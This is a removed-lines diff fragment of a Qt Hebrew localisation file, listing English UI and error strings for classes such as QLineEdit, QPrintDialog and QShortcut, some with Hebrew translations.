    -        
    -    
    -
    -
    -    QIBaseDriver
    -    
    -        
    -        Error opening database
    -        
    -    
    -    
    -        
    -        Could not start transaction
    -        
    -    
    -    
    -        
    -        Unable to commit transaction
    -        
    -    
    -    
    -        
    -        Unable to rollback transaction
    -        
    -    
    -
    -
    -    QIBaseResult
    -    
    -        
    -        Unable to create BLOB
    -        
    -    
    -    
    -        
    -        Unable to write BLOB
    -        
    -    
    -    
    -        
    -        Unable to open BLOB
    -        
    -    
    -    
    -        
    -        Unable to read BLOB
    -        
    -    
    -    
    -        
    -        
    -        Could not find array
    -        
    -    
    -    
    -        
    -        Could not get array data
    -        
    -    
    -    
    -        
    -        Could not get query info
    -        
    -    
    -    
    -        
    -        Could not start transaction
    -        
    -    
    -    
    -        
    -        Unable to commit transaction
    -        
    -    
    -    
    -        
    -        Could not allocate statement
    -        
    -    
    -    
    -        
    -        Could not prepare statement
    -        
    -    
    -    
    -        
    -        
    -        Could not describe input statement
    -        
    -    
    -    
    -        
    -        Could not describe statement
    -        
    -    
    -    
    -        
    -        Unable to close statement
    -        
    -    
    -    
    -        
    -        Unable to execute query
    -        
    -    
    -    
    -        
    -        Could not fetch next item
    -        
    -    
    -    
    -        
    -        Could not get statement info
    -        
    -    
    -
    -
    -    QIODevice
    -    
    -        
    -        Permission denied
    -        
    -    
    -    
    -        
    -        Too many open files
    -        
    -    
    -    
    -        
    -        No such file or directory
    -        
    -    
    -    
    -        
    -        No space left on device
    -        
    -    
    -    
    -        
    -        Unknown error
    -        
    -    
    -
    -
    -    QInputContext
    -    
    -        
    -        XIM
    -        
    -    
    -    
    -        
    -        XIM input method
    -        
    -    
    -    
    -        
    -        Windows input method
    -        
    -    
    -    
    -        
    -        Mac OS X input method
    -        
    -    
    -
    -
    -    QInputDialog
    -    
    -        
    -        Enter a value:
    -        
    -    
    -
    -
    -    QLibrary
    -    
    -        
    -        Could not mmap '%1': %2
    -        
    -    
    -    
    -        
    -        Plugin verification data mismatch in '%1'
    -        
    -    
    -    
    -        
    -        Could not unmap '%1': %2
    -        
    -    
    -    
    -        
    -        The plugin '%1' uses incompatible Qt library. (%2.%3.%4) [%5]
    -        
    -    
    -    
    -        
    -        The plugin '%1' uses incompatible Qt library. Expected build key "%2", got "%3"
    -        
    -    
    -    
    -        
    -        Unknown error
    -        
    -    
    -    
    -        
    -        
    -        The shared library was not found.
    -        
    -    
    -    
    -        
    -        The file '%1' is not a valid Qt plugin.
    -        
    -    
    -    
    -        
    -        The plugin '%1' uses incompatible Qt library. (Cannot mix debug and release libraries.)
    -        
    -    
    -    
    -        
    -        
    -        Cannot load library %1: %2
    -        
    -    
    -    
    -        
    -        
    -        Cannot unload library %1: %2
    -        
    -    
    -    
    -        
    -        
    -        Cannot resolve symbol "%1" in %2: %3
    -        
    -    
    -
    -
    -    QLineEdit
    -    
    -        
    -        &Undo
    -        &בטל
    -    
    -    
    -        
    -        &Redo
    -        בצע &שוב
    -    
    -    
    -        
    -        Cu&t
    -        &גזור
    -    
    -    
    -        
    -        &Copy
    -        הע&תק
    -    
    -    
    -        
    -        &Paste
    -        ה&דבק
    -    
    -    
    -        
    -        Select All
    -        בחר הכל
    -    
    -    
    -        
    -        Delete
    -        מחק
    -    
    -
    -
    -    QLocalServer
    -    
    -        
    -        
    -        %1: Name error
    -        
    -    
    -    
    -        
    -        %1: Permission denied
    -        
    -    
    -    
    -        
    -        %1: Address in use
    -        
    -    
    -    
    -        
    -        
    -        %1: Unknown error %2
    -        
    -    
    -
    -
    -    QLocalSocket
    -    
    -        
    -        
    -        %1: Connection refused
    -        
    -    
    -    
    -        
    -        
    -        %1: Remote closed
    -        
    -    
    -    
    -        
    -        
    -        
    -        
    -        %1: Invalid name
    -        
    -    
    -    
    -        
    -        
    -        %1: Socket access error
    -        
    -    
    -    
    -        
    -        
    -        %1: Socket resource error
    -        
    -    
    -    
    -        
    -        
    -        %1: Socket operation timed out
    -        
    -    
    -    
    -        
    -        
    -        %1: Datagram too large
    -        
    -    
    -    
    -        
    -        
    -        
    -        %1: Connection error
    -        
    -    
    -    
    -        
    -        
    -        %1: The socket operation is not supported
    -        
    -    
    -    
    -        
    -        %1: Unknown error
    -        
    -    
    -    
    -        
    -        
    -        %1: Unknown error %2
    -        
    -    
    -
    -
    -    QMYSQLDriver
    -    
    -        
    -        Unable to open database '
    -        
    -    
    -    
    -        
    -        Unable to connect
    -        
    -    
    -    
    -        
    -        Unable to begin transaction
    -        
    -    
    -    
    -        
    -        Unable to commit transaction
    -        
    -    
    -    
    -        
    -        Unable to rollback transaction
    -        
    -    
    -
    -
    -    QMYSQLResult
    -    
    -        
    -        Unable to fetch data
    -        
    -    
    -    
    -        
    -        Unable to execute query
    -        
    -    
    -    
    -        
    -        Unable to store result
    -        
    -    
    -    
    -        
    -        
    -        Unable to prepare statement
    -        
    -    
    -    
    -        
    -        Unable to reset statement
    -        
    -    
    -    
    -        
    -        Unable to bind value
    -        
    -    
    -    
    -        
    -        Unable to execute statement
    -        
    -    
    -    
    -        
    -        
    -        Unable to bind outvalues
    -        
    -    
    -    
    -        
    -        Unable to store statement results
    -        
    -    
    -    
    -        
    -        Unable to execute next query
    -        
    -    
    -    
    -        
    -        Unable to store next result
    -        
    -    
    -
    -
    -    QMdiArea
    -    
    -        
    -        (Untitled)
    -        
    -    
    -
    -
    -    QMdiSubWindow
    -    
    -        
    -        %1 - [%2]
    -        %1 - [%2]
    -    
    -    
    -        
    -        Close
    -        סגור
    -    
    -    
    -        
    -        Minimize
    -        מזער
    -    
    -    
    -        
    -        Restore Down
    -        שחזר למטה
    -    
    -    
    -        
    -        &Restore
    -        ש&חזר
    -    
    -    
    -        
    -        &Move
    -        ה&זז
    -    
    -    
    -        
    -        &Size
    -        גו&דל
    -    
    -    
    -        
    -        Mi&nimize
    -        &מזער
    -    
    -    
    -        
    -        Ma&ximize
    -        &הגדל
    -    
    -    
    -        
    -        Stay on &Top
    -        &תמיד עליון
    -    
    -    
    -        
    -        &Close
    -        &סגור
    -    
    -    
    -        
    -        - [%1]
    -        
    -    
    -    
    -        
    -        Maximize
    -        הגדל
    -    
    -    
    -        
    -        Unshade
    -        
    -    
    -    
    -        
    -        Shade
    -        
    -    
    -    
    -        
    -        Restore
    -        
    -    
    -    
    -        
    -        Help
    -        עזרה
    -    
    -    
    -        
    -        Menu
    -        
    -    
    -
    -
    -    QMenu
    -    
    -        
    -        
    -        Close
    -        סגור
    -    
    -    
    -        
    -        
    -        Open
    -        פתח
    -    
    -    
    -        
    -        
    -        
    -        Execute
    -        
    -    
    -
    -
    -    QMenuBar
    -    
    -        Options
    -        אפשרויות
    -    
    -
    -
    -    QMessageBox
    -    
    -        
    -        
    -        
    -        
    -        OK
    -        אישור
    -    
    -    
    -        
    -        About Qt
    -        
    -    
    -    
    -        
    -        Help
    -        עזרה
    -    
    -    
    -        
    -        Show Details...
    -        
    -    
    -    
    -        
    -        Hide Details...
    -        
    -    
    -    
    -        
    -        <h3>About Qt</h3><p>This program uses Qt version %1.</p><p>Qt is a C++ toolkit for cross-platform application development.</p><p>Qt provides single-source portability across MS&nbsp;Windows, Mac&nbsp;OS&nbsp;X, Linux, and all major commercial Unix variants. Qt is also available for embedded devices as Qt for Embedded Linux and Qt for Windows CE.</p><p>Qt is available under three different licensing options designed to accommodate the needs of our various users.</p>Qt licensed under our commercial license agreement is appropriate for development of proprietary/commercial software where you do not want to share any source code with third parties or otherwise cannot comply with the terms of the GNU LGPL version 2.1 or GNU GPL version 3.0.</p><p>Qt licensed under the GNU LGPL version 2.1 is appropriate for the development of Qt applications (proprietary or open source) provided you can comply with the terms and conditions of the GNU LGPL version 2.1.</p><p>Qt licensed under the GNU General Public License version 3.0 is appropriate for the development of Qt applications where you wish to use such applications in combination with software subject to the terms of the GNU GPL version 3.0 or where you are otherwise willing to comply with the terms of the GNU GPL version 3.0.</p><p>Please see <a href="http://qt.nokia.com/products/licensing">qt.nokia.com/products/licensing</a> for an overview of Qt licensing.</p><p>Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).</p><p>Qt is a Nokia product. See <a href="http://qt.nokia.com/">qt.nokia.com</a> for more information.</p>
    -        
    -    
    -
    -
    -    QMultiInputContext
    -    
    -        
    -        Select IM
    -        
    -    
    -
    -
    -    QMultiInputContextPlugin
    -    
    -        
    -        Multiple input method switcher
    -        
    -    
    -    
    -        
    -        Multiple input method switcher that uses the context menu of the text widgets
    -        
    -    
    -
    -
    -    QNativeSocketEngine
    -    
    -        
    -        The remote host closed the connection
    -        
    -    
    -    
    -        
    -        Network operation timed out
    -        
    -    
    -    
    -        
    -        Out of resources
    -        
    -    
    -    
    -        
    -        Unsupported socket operation
    -        
    -    
    -    
    -        
    -        Protocol type not supported
    -        
    -    
    -    
    -        
    -        Invalid socket descriptor
    -        
    -    
    -    
    -        
    -        Network unreachable
    -        
    -    
    -    
    -        
    -        Permission denied
    -        
    -    
    -    
    -        
    -        Connection timed out
    -        
    -    
    -    
    -        
    -        Connection refused
    -        החיבור נדחה
    -    
    -    
    -        
    -        The bound address is already in use
    -        
    -    
    -    
    -        
    -        The address is not available
    -        
    -    
    -    
    -        
    -        The address is protected
    -        
    -    
    -    
    -        
    -        Unable to send a message
    -        
    -    
    -    
    -        
    -        Unable to receive a message
    -        
    -    
    -    
    -        
    -        Unable to write
    -        
    -    
    -    
    -        
    -        Network error
    -        
    -    
    -    
    -        
    -        Another socket is already listening on the same port
    -        
    -    
    -    
    -        
    -        Unable to initialize non-blocking socket
    -        
    -    
    -    
    -        
    -        Unable to initialize broadcast socket
    -        
    -    
    -    
    -        
    -        Attempt to use IPv6 socket on a platform with no IPv6 support
    -        
    -    
    -    
    -        
    -        Host unreachable
    -        
    -    
    -    
    -        
    -        Datagram was too large to send
    -        
    -    
    -    
    -        
    -        Operation on non-socket
    -        
    -    
    -    
    -        
    -        Unknown error
    -        
    -    
    -    
    -        
    -        The proxy type is invalid for this operation
    -        
    -    
    -
    -
    -    QNetworkAccessCacheBackend
    -    
    -        
    -        Error opening %1
    -        
    -    
    -
    -
    -    QNetworkAccessFileBackend
    -    
    -        
    -        Request for opening non-local file %1
    -        
    -    
    -    
    -        
    -        Error opening %1: %2
    -        
    -    
    -    
    -        
    -        Write error writing to %1: %2
    -        
    -    
    -    
    -        
    -        Cannot open %1: Path is a directory
    -        
    -    
    -    
    -        
    -        Read error reading from %1: %2
    -        
    -    
    -
    -
    -    QNetworkAccessFtpBackend
    -    
    -        
    -        No suitable proxy found
    -        
    -    
    -    
    -        
    -        Cannot open %1: is a directory
    -        
    -    
    -    
    -        
    -        Logging in to %1 failed: authentication required
    -        
    -    
    -    
    -        
    -        Error while downloading %1: %2
    -        
    -    
    -    
    -        
    -        Error while uploading %1: %2
    -        
    -    
    -
    -
    -    QNetworkAccessHttpBackend
    -    
    -        
    -        No suitable proxy found
    -        
    -    
    -
    -
    -    QNetworkReply
    -    
    -        
    -        Error downloading %1 - server replied: %2
    -        
    -    
    -    
    -        
    -        Protocol "%1" is unknown
    -        
    -    
    -
    -
    -    QNetworkReplyImpl
    -    
    -        
    -        
    -        Operation canceled
    -        
    -    
    -
    -
    -    QOCIDriver
    -    
    -        
    -        Unable to logon
    -        
    -    
    -    
    -        
    -        Unable to initialize
    -        QOCIDriver
    -        
    -    
    -    
    -        
    -        Unable to begin transaction
    -        
    -    
    -    
    -        
    -        Unable to commit transaction
    -        
    -    
    -    
    -        
    -        Unable to rollback transaction
    -        
    -    
    -
    -
    -    QOCIResult
    -    
    -        
    -        
    -        
    -        Unable to bind column for batch execute
    -        
    -    
    -    
    -        
    -        Unable to execute batch statement
    -        
    -    
    -    
    -        
    -        Unable to goto next
    -        
    -    
    -    
    -        
    -        Unable to alloc statement
    -        
    -    
    -    
    -        
    -        Unable to prepare statement
    -        
    -    
    -    
    -        
    -        Unable to bind value
    -        
    -    
    -    
    -        
    -        Unable to execute statement
    -        
    -    
    -
    -
    -    QODBCDriver
    -    
    -        
    -        Unable to connect
    -        
    -    
    -    
    -        
    -        Unable to connect - Driver doesn't support all needed functionality
    -        
    -    
    -    
    -        
    -        Unable to disable autocommit
    -        
    -    
    -    
    -        
    -        Unable to commit transaction
    -        
    -    
    -    
    -        
    -        Unable to rollback transaction
    -        
    -    
    -    
    -        
    -        Unable to enable autocommit
    -        
    -    
    -
    -
    -    QODBCResult
    -    
    -        
    -        
    -        QODBCResult::reset: Unable to set 'SQL_CURSOR_STATIC' as statement attribute. Please check your ODBC driver configuration
    -        
    -    
    -    
    -        
    -        
    -        Unable to execute statement
    -        
    -    
    -    
    -        
    -        Unable to fetch next
    -        
    -    
    -    
    -        
    -        Unable to prepare statement
    -        
    -    
    -    
    -        
    -        Unable to bind variable
    -        
    -    
    -    
    -        
    -        
    -        
    -        Unable to fetch last
    -        
    -    
    -    
    -        
    -        Unable to fetch
    -        
    -    
    -    
    -        
    -        Unable to fetch first
    -        
    -    
    -    
    -        
    -        Unable to fetch previous
    -        
    -    
    -
    -
    -    QObject
    -    
    -        
    -        Home
    -        Home
    -    
    -    
    -        
    -        Operation not supported on %1
    -        
    -    
    -    
    -        
    -        Invalid URI: %1
    -        
    -    
    -    
    -        
    -        Write error writing to %1: %2
    -        
    -    
    -    
    -        
    -        Read error reading from %1: %2
    -        
    -    
    -    
    -        
    -        Socket error on %1: %2
    -        
    -    
    -    
    -        
    -        Remote host closed the connection prematurely on %1
    -        
    -    
    -    
    -        
    -        Protocol error: packet of size 0 received
    -        
    -    
    -    
    -        
    -        
    -        No host name given
    -        
    -    
    -
    -
    -    QPPDOptionsModel
    -    
    -        
    -        Name
    -        שם
    -    
    -    
    -        
    -        Value
    -        
    -    
    -
    -
    -    QPSQLDriver
    -    
    -        
    -        Unable to connect
    -        
    -    
    -    
    -        
    -        Could not begin transaction
    -        
    -    
    -    
    -        
    -        Could not commit transaction
    -        
    -    
    -    
    -        
    -        Could not rollback transaction
    -        
    -    
    -    
    -        
    -        Unable to subscribe
    -        
    -    
    -    
    -        
    -        Unable to unsubscribe
    -        
    -    
    -
    -
    -    QPSQLResult
    -    
    -        
    -        Unable to create query
    -        
    -    
    -    
    -        
    -        Unable to prepare statement
    -        
    -    
    -
    -
    -    QPageSetupWidget
    -    
    -        
    -        Centimeters (cm)
    -        
    -    
    -    
    -        
    -        Millimeters (mm)
    -        
    -    
    -    
    -        
    -        Inches (in)
    -        
    -    
    -    
    -        
    -        Points (pt)
    -        
    -    
    -    
    -        
    -        Form
    -        
    -    
    -    
    -        
    -        Paper
    -        
    -    
    -    
    -        
    -        Page size:
    -        
    -    
    -    
    -        
    -        Width:
    -        
    -    
    -    
    -        
    -        Height:
    -        
    -    
    -    
    -        
    -        Paper source:
    -        
    -    
    -    
    -        
    -        Orientation
    -        
    -    
    -    
    -        
    -        Portrait
    -        לאורך
    -    
    -    
    -        
    -        Landscape
    -        לרוחב
    -    
    -    
    -        
    -        Reverse landscape
    -        
    -    
    -    
    -        
    -        Reverse portrait
    -        
    -    
    -    
    -        
    -        Margins
    -        
    -    
    -    
    -        
    -        top margin
    -        
    -    
    -    
    -        
    -        left margin
    -        
    -    
    -    
    -        
    -        right margin
    -        
    -    
    -    
    -        
    -        bottom margin
    -        
    -    
    -
    -
    -    QPluginLoader
    -    
    -        
    -        Unknown error
    -        
    -    
    -    
    -        
    -        The plugin was not loaded.
    -        
    -    
    -
    -
    -    QPrintDialog
    -    
    -        
    -        locally connected
    -        מחוברת מקומית
    -    
    -    
    -        
    -        
    -        Aliases: %1
    -        שמות נוספים: %1
    -    
    -    
    -        
    -        
    -        unknown
    -        לא ידוע
    -    
    -    
    -        
    -        OK
    -        אישור
    -    
    -    
    -        Cancel
    -        ביטול
    -    
    -    
    -        Print in color if available
    -        הדפס בצבע אם הדבר זמין
    -    
    -    
    -        Printer
    -        מדפסת
    -    
    -    
    -        
    -        Print all
    -        הדפס הכל
    -    
    -    
    -        
    -        Print range
    -        טווח הדפסה
    -    
    -    
    -        Print last page first
    -        הדפס את העמוד הראשון אחרון
    -    
    -    
    -        Number of copies:
    -        מספר עותקים:
    -    
    -    
    -        Paper format
    -        תבנית נייר
    -    
    -    
    -        Portrait
    -        לאורך
    -    
    -    
    -        Landscape
    -        לרוחב
    -    
    -    
    -        
    -        A0 (841 x 1189 mm)
    -        A0 (841 x 1189 mm)
    -    
    -    
    -        
    -        A1 (594 x 841 mm)
    -        A1 (594 x 841 mm)
    -    
    -    
    -        
    -        A2 (420 x 594 mm)
    -        A2 (420 x 594 mm)
    -    
    -    
    -        
    -        A3 (297 x 420 mm)
    -        A3 (297 x 420 mm)
    -    
    -    
    -        
    -        A5 (148 x 210 mm)
    -        A5 (148 x 210 mm)
    -    
    -    
    -        
    -        A6 (105 x 148 mm)
    -        A6 (105 x 148 mm)
    -    
    -    
    -        
    -        A7 (74 x 105 mm)
    -        A7 (74 x 105 mm)
    -    
    -    
    -        
    -        A8 (52 x 74 mm)
    -        A8 (52 x 74 mm)
    -    
    -    
    -        
    -        A9 (37 x 52 mm)
    -        A9 (37 x 52 mm)
    -    
    -    
    -        
    -        B0 (1000 x 1414 mm)
    -        B0 (1000 x 1414 mm)
    -    
    -    
    -        
    -        B1 (707 x 1000 mm)
    -        B1 (707 x 1000 mm)
    -    
    -    
    -        
    -        B2 (500 x 707 mm)
    -        B2 (500 x 707 mm)
    -    
    -    
    -        
    -        B3 (353 x 500 mm)
    -        B3 (353 x 500 mm)
    -    
    -    
    -        
    -        B4 (250 x 353 mm)
    -        B4 (250 x 353 mm)
    -    
    -    
    -        
    -        B6 (125 x 176 mm)
    -        B6 (125 x 176 mm)
    -    
    -    
    -        
    -        B7 (88 x 125 mm)
    -        B7 (88 x 125 mm)
    -    
    -    
    -        
    -        B8 (62 x 88 mm)
    -        B8 (62 x 88 mm)
    -    
    -    
    -        
    -        B9 (44 x 62 mm)
    -        B9 (44 x 62 mm)
    -    
    -    
    -        
    -        B10 (31 x 44 mm)
    -        B10 (31 x 44 mm)
    -    
    -    
    -        
    -        C5E (163 x 229 mm)
    -        C5E (163 x 229 mm)
    -    
    -    
    -        
    -        DLE (110 x 220 mm)
    -        DLE (110 x 220 mm)
    -    
    -    
    -        
    -        Folio (210 x 330 mm)
    -        Folio (210 x 330 mm)
    -    
    -    
    -        
    -        Ledger (432 x 279 mm)
    -        Ledger (432 x 279 mm)
    -    
    -    
    -        
    -        Tabloid (279 x 432 mm)
    -        Tabloid (279 x 432 mm)
    -    
    -    
    -        
    -        US Common #10 Envelope (105 x 241 mm)
    -        US Common #10 Envelope (105 x 241 mm)
    -    
    -    
    -        
    -        A4 (210 x 297 mm, 8.26 x 11.7 inches)
    -        
    -    
    -    
    -        
    -        B5 (176 x 250 mm, 6.93 x 9.84 inches)
    -        
    -    
    -    
    -        
    -        Executive (7.5 x 10 inches, 191 x 254 mm)
    -        
    -    
    -    
    -        
    -        Legal (8.5 x 14 inches, 216 x 356 mm)
    -        
    -    
    -    
    -        
    -        Letter (8.5 x 11 inches, 216 x 279 mm)
    -        
    -    
    -    
    -        
    -        
    -        
    -        Print
    -        הדפס
    -    
    -    
    -        File
    -        קובץ
    -    
    -    
    -        
    -        Print To File ...
    -        
    -    
    -    
    -        Other
    -        אחר
    -    
    -    
    -        
    -        File %1 is not writable.
    -Please choose a different file name.
    -        
    -    
    -    
    -        
    -        %1 already exists.
    -Do you want to overwrite it?
    -        
    -    
    -    
    -        
    -        File exists
    -        
    -    
    -    
    -        
    -        <qt>Do you want to overwrite it?</qt>
    -        
    -    
    -    
    -        
    -        Print selection
    -        
    -    
    -    
    -        
    -        %1 is a directory.
    -Please choose a different file name.
    -        
    -    
    -    
    -        
    -        A0
    -        
    -    
    -    
    -        
    -        A1
    -        
    -    
    -    
    -        
    -        A2
    -        
    -    
    -    
    -        
    -        A3
    -        
    -    
    -    
    -        
    -        A4
    -        
    -    
    -    
    -        
    -        A5
    -        
    -    
    -    
    -        
    -        A6
    -        
    -    
    -    
    -        
    -        A7
    -        
    -    
    -    
    -        
    -        A8
    -        
    -    
    -    
    -        
    -        A9
    -        
    -    
    -    
    -        
    -        B0
    -        
    -    
    -    
    -        
    -        B1
    -        
    -    
    -    
    -        
    -        B2
    -        
    -    
    -    
    -        
    -        B3
    -        
    -    
    -    
    -        
    -        B4
    -        
    -    
    -    
    -        
    -        B5
    -        
    -    
    -    
    -        
    -        B6
    -        
    -    
    -    
    -        
    -        B7
    -        
    -    
    -    
    -        
    -        B8
    -        
    -    
    -    
    -        
    -        B9
    -        
    -    
    -    
    -        
    -        B10
    -        
    -    
    -    
    -        
    -        C5E
    -        
    -    
    -    
    -        
    -        DLE
    -        
    -    
    -    
    -        
    -        Executive
    -        
    -    
    -    
    -        
    -        Folio
    -        
    -    
    -    
    -        
    -        Ledger
    -        
    -    
    -    
    -        
    -        Legal
    -        
    -    
    -    
    -        
    -        Letter
    -        
    -    
    -    
    -        
    -        Tabloid
    -        
    -    
    -    
    -        
    -        US Common #10 Envelope
    -        
    -    
    -    
    -        
    -        Custom
    -        
    -    
    -    
    -        
    -        
    -        &Options >>
    -        
    -    
    -    
    -        
    -        &Print
    -        
    -    
    -    
    -        
    -        &Options <<
    -        
    -    
    -    
    -        
    -        Print to File (PDF)
    -        
    -    
    -    
    -        
    -        Print to File (Postscript)
    -        
    -    
    -    
    -        
    -        Local file
    -        
    -    
    -    
    -        
    -        Write %1 file
    -        
    -    
    -    
    -        
    -        The 'From' value cannot be greater than the 'To' value.
    -        
    -    
    -
    -
    -    QPrintPreviewDialog
    -    
    -        
    -        
    -        Page Setup
    -        
    -    
    -    
    -        
    -        %1%
    -        
    -    
    -    
    -        
    -        Print Preview
    -        
    -    
    -    
    -        
    -        Next page
    -        
    -    
    -    
    -        
    -        Previous page
    -        
    -    
    -    
    -        
    -        First page
    -        
    -    
    -    
    -        
    -        Last page
    -        
    -    
    -    
    -        
    -        Fit width
    -        
    -    
    -    
    -        
    -        Fit page
    -        
    -    
    -    
    -        
    -        Zoom in
    -        
    -    
    -    
    -        
    -        Zoom out
    -        
    -    
    -    
    -        
    -        Portrait
    -        לאורך
    -    
    -    
    -        
    -        Landscape
    -        לרוחב
    -    
    -    
    -        
    -        Show single page
    -        
    -    
    -    
    -        
    -        Show facing pages
    -        
    -    
    -    
    -        
    -        Show overview of all pages
    -        
    -    
    -    
    -        
    -        Print
    -        הדפס
    -    
    -    
    -        
    -        Page setup
    -        
    -    
    -    
    -        
    -        Close
    -        סגור
    -    
    -    
    -        
    -        Export to PDF
    -        
    -    
    -    
    -        
    -        Export to PostScript
    -        
    -    
    -
    -
    -    QPrintPropertiesDialog
    -    
    -        Save
    -        שמור
    -    
    -    
    -        OK
    -        אישור
    -    
    -
    -
    -    QPrintPropertiesWidget
    -    
    -        
    -        Form
    -        
    -    
    -    
    -        
    -        Page
    -        
    -    
    -    
    -        
    -        Advanced
    -        
    -    
    -
    -
    -    QPrintSettingsOutput
    -    
    -        
    -        Form
    -        
    -    
    -    
    -        
    -        Copies
    -        
    -    
    -    
    -        
    -        Print range
    -        טווח הדפסה
    -    
    -    
    -        
    -        Print all
    -        הדפס הכל
    -    
    -    
    -        
    -        Pages from
    -        
    -    
    -    
    -        
    -        to
    -        
    -    
    -    
    -        
    -        Selection
    -        
    -    
    -    
    -        
    -        Output Settings
    -        
    -    
    -    
    -        
    -        Copies:
    -        
    -    
    -    
    -        
    -        Collate
    -        
    -    
    -    
    -        
    -        Reverse
    -        
    -    
    -    
    -        
    -        Options
    -        אפשרויות
    -    
    -    
    -        
    -        Color Mode
    -        
    -    
    -    
    -        
    -        Color
    -        
    -    
    -    
    -        
    -        Grayscale
    -        
    -    
    -    
    -        
    -        Duplex Printing
    -        
    -    
    -    
    -        
    -        None
    -        
    -    
    -    
    -        
    -        Long side
    -        
    -    
    -    
    -        
    -        Short side
    -        
    -    
    -
    -
    -    QPrintWidget
    -    
    -        
    -        Form
    -        
    -    
    -    
    -        
    -        Printer
    -        מדפסת
    -    
    -    
    -        
    -        &Name:
    -        
    -    
    -    
    -        
    -        P&roperties
    -        
    -    
    -    
    -        
    -        Location:
    -        
    -    
    -    
    -        
    -        Preview
    -        
    -    
    -    
    -        
    -        Type:
    -        
    -    
    -    
    -        
    -        Output &file:
    -        
    -    
    -    
    -        
    -        ...
    -        
    -    
    -
    -
    -    QProcess
    -    
    -        
    -        
    -        Could not open input redirection for reading
    -        
    -    
    -    
    -        
    -        
    -        Could not open output redirection for writing
    -        
    -    
    -    
    -        
    -        Resource error (fork failure): %1
    -        
    -    
    -    
    -        
    -        
    -        
    -        
    -        
    -        
    -        
    -        
    -        
    -        Process operation timed out
    -        
    -    
    -    
    -        
    -        
    -        
    -        
    -        Error reading from process
    -        
    -    
    -    
    -        
    -        
    -        
    -        Error writing to process
    -        
    -    
    -    
    -        
    -        Process crashed
    -        
    -    
    -    
    -        
    -        No program defined
    -        
    -    
    -    
    -        
    -        Process failed to start
    -        
    -    
    -
    -
    -    QProgressDialog
    -    
    -        
    -        Cancel
    -        ביטול
    -    
    -
    -
    -    QPushButton
    -    
    -        
    -        Open
    -        פתח
    -    
    -
    -
    -    QRadioButton
    -    
    -        
    -        Check
    -        
    -    
    -
    -
    -    QRegExp
    -    
    -        
    -        no error occurred
    -        לא אירעה כל שגיאה
    -    
    -    
    -        
    -        disabled feature used
    -        
    -    
    -    
    -        
    -        bad char class syntax
    -        
    -    
    -    
    -        
    -        bad lookahead syntax
    -        
    -    
    -    
    -        
    -        bad repetition syntax
    -        
    -    
    -    
    -        
    -        invalid octal value
    -        
    -    
    -    
    -        
    -        missing left delim
    -        
    -    
    -    
    -        
    -        unexpected end
    -        
    -    
    -    
    -        
    -        met internal limit
    -        
    -    
    -
    -
    -    QSQLite2Driver
    -    
    -        
    -        Error to open database
    -        
    -    
    -    
    -        
    -        Unable to begin transaction
    -        
    -    
    -    
    -        
    -        Unable to commit transaction
    -        
    -    
    -    
    -        
    -        Unable to rollback Transaction
    -        
    -    
    -
    -
    -    QSQLite2Result
    -    
    -        
    -        Unable to fetch results
    -        
    -    
    -    
    -        
    -        Unable to execute statement
    -        
    -    
    -
    -
    -    QSQLiteDriver
    -    
    -        
    -        Error opening database
    -        
    -    
    -    
    -        
    -        Error closing database
    -        
    -    
    -    
    -        
    -        Unable to begin transaction
    -        
    -    
    -    
    -        
    -        Unable to commit transaction
    -        
    -    
    -    
    -        
    -        Unable to rollback transaction
    -        
    -    
    -
    -
    -    QSQLiteResult
    -    
    -        
    -        
    -        
    -        Unable to fetch row
    -        
    -    
    -    
    -        
    -        Unable to execute statement
    -        
    -    
    -    
    -        
    -        Unable to reset statement
    -        
    -    
    -    
    -        
    -        Unable to bind parameters
    -        
    -    
    -    
    -        
    -        Parameter count mismatch
    -        
    -    
    -    
    -        
    -        No query
    -        
    -    
    -
    -
    -    QScrollBar
    -    
    -        
    -        Scroll here
    -        
    -    
    -    
    -        
    -        Left edge
    -        
    -    
    -    
    -        
    -        Top
    -        
    -    
    -    
    -        
    -        Right edge
    -        
    -    
    -    
    -        
    -        Bottom
    -        
    -    
    -    
    -        
    -        Page left
    -        
    -    
    -    
    -        
    -        
    -        Page up
    -        
    -    
    -    
    -        
    -        Page right
    -        
    -    
    -    
    -        
    -        
    -        Page down
    -        
    -    
    -    
    -        
    -        Scroll left
    -        
    -    
    -    
    -        
    -        Scroll up
    -        
    -    
    -    
    -        
    -        Scroll right
    -        
    -    
    -    
    -        
    -        Scroll down
    -        
    -    
    -    
    -        
    -        Line up
    -        סדר בשורה
    -    
    -    
    -        
    -        Position
    -        
    -    
    -    
    -        
    -        Line down
    -        
    -    
    -
    -
    -    QSharedMemory
    -    
    -        
    -        %1: unable to set key on lock
    -        
    -    
    -    
    -        
    -        %1: create size is less then 0
    -        
    -    
    -    
    -        
    -        
    -        %1: unable to lock
    -        
    -    
    -    
    -        
    -        %1: unable to unlock
    -        
    -    
    -    
    -        
    -        
    -        %1: permission denied
    -        
    -    
    -    
    -        
    -        
    -        %1: already exists
    -        
    -    
    -    
    -        
    -        
    -        %1: doesn't exists
    -        
    -    
    -    
    -        
    -        
    -        %1: out of resources
    -        
    -    
    -    
    -        
    -        
    -        %1: unknown error %2
    -        
    -    
    -    
    -        
    -        %1: key is empty
    -        
    -    
    -    
    -        
    -        %1: unix key file doesn't exists
    -        
    -    
    -    
    -        
    -        %1: ftok failed
    -        
    -    
    -    
    -        
    -        
    -        %1: unable to make key
    -        
    -    
    -    
    -        
    -        %1: system-imposed size restrictions
    -        
    -    
    -    
    -        
    -        %1: not attached
    -        
    -    
    -    
    -        
    -        %1: invalid size
    -        
    -    
    -    
    -        
    -        %1: key error
    -        
    -    
    -    
    -        
    -        %1: size query failed
    -        
    -    
    -
    -
    -    QShortcut
    -    
    -        
    -        Space
    -        רווח
    -    
    -    
    -        
    -        Esc
    -        Esc
    -    
    -    
    -        
    -        Tab
    -        Tab
    -    
    -    
    -        
    -        Backtab
    -        Backtab
    -    
    -    
    -        
    -        Backspace
    -        Backspace
    -    
    -    
    -        
    -        Return
    -        Return
    -    
    -    
    -        
    -        Enter
    -        Enter
    -    
    -    
    -        
    -        Ins
    -        Ins
    -    
    -    
    -        
    -        Del
    -        Del
    -    
    -    
    -        
    -        Pause
    -        Pause
    -    
    -    
    -        
    -        Print
    -        הדפס
    -    
    -    
    -        
    -        SysReq
    -        SysReq
    -    
    -    
    -        
    -        Home
    -        Home
    -    
    -    
    -        
    -        End
    -        End
    -    
    -    
    -        
    -        Left
    -        שמאלה
    -    
    -    
    -        
    -        Up
    -        למעלה
    -    
    -    
    -        
    -        Right
    -        ימינה
    -    
    -    
    -        
    -        Down
    -        למטה
    -    
    -    
    -        
    -        PgUp
    -        PgUp
    -    
